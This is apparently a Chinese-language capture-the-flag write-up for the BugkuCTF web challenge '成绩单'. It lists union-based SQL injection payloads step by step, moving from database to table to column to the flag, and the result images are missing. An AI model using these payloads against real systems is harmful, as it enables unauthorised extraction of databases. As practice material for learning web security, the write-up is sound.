BugkuCTF之web题之成绩单

BugkuCTF之web题之成绩单

1.向其中分别输入1,2,3…发现可以查询，当向其中输入1’时，程序不能查询，根据观察题目，猜测应该可以大概判断出有四个字段

2.在成绩查询处开始爆数据库名，输入0’ union select database(),2,3,4 #
得到：

说明数据库的名为skctf_flag

3.在成绩查询处开始爆数据库表名，输入0’ union select table_name,2,3,4 from information_schema.tables where table_schema=‘skctf_flag’#
得到：

说明数据库的表名为fl4g

4.在成绩查询处开始爆数据库列名，输入0’ union select column_name,2,3,4 from information_schema.columns where table_name=‘fl4g’#
得到：

说明数据库的列名为skctf_flag

5.查看skctf_flag的数据.0’ union select skctf_flag,2,3,4 from fl4g#
得到：

flag也就呼之欲出了！！！